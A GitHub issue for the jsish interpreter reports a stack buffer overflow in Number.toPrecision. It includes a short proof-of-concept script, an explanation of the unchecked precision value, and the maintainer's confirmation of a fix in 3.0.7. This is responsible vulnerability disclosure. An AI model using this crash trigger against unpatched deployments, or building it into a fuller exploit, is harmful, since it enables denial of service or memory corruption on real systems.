Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

stack overflow #4

Closed
bird8693 opened this issue Apr 13, 2020 · 1 comment
Closed

stack overflow #4

bird8693 opened this issue Apr 13, 2020 · 1 comment

Comments

@bird8693
Copy link

bird8693 commented Apr 13, 2020

Enviroment

operating system: ubuntu18.04
compile command: ./configure && make
test command: ./jsish poc1 

poc:

try {
    var __num = 11.001002;
    var PyeA = __num.toString(__num);
    var ZTZe = __num.toExponential(__num);
    var AkBW = __num.toPrecision(~_num);
    var tpWc = __num.toExponential(__num);
    var MPKY = __num.toExponential(__num);
} catch (ex) {
    sputnikException = ex;
}
var successfullyParsed = true;

vulnerability description:

image
~ _num as a parameter, that is, precision. _num is an undefined variable, jsish thinks it is 0 by default, then the negation will become 0x7fffffff. In the analysis of the function NumberToPrecisionCmd(src/jsiNumber.c ), Jsi_GetIntFromValue is used to obtain the precision, which is the prec variable. But buf is a buffer on the stack of only 100 bytes. When prec exceeds 100, it causes a buffer overflow.

pcmacdon pushed a commit that referenced this issue Apr 13, 2020
FossilOrigin-Name: 6c7f0c37027d7f890b57cb38f776af39b8f81f03e60ceeb0a231a1d21e24b5de
@pcmacdon
Copy link
Owner

Should be fixed in "3.0.7".

Issue only appeared when not in strict mode. ie. did not see this when the test file ends in ".jsi".
Still a good find, and we now check prec is in 1-100 range. Also generally eliminated hardcoding of num buf sizes. Also fixed try/catch error not being reported.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

2 participants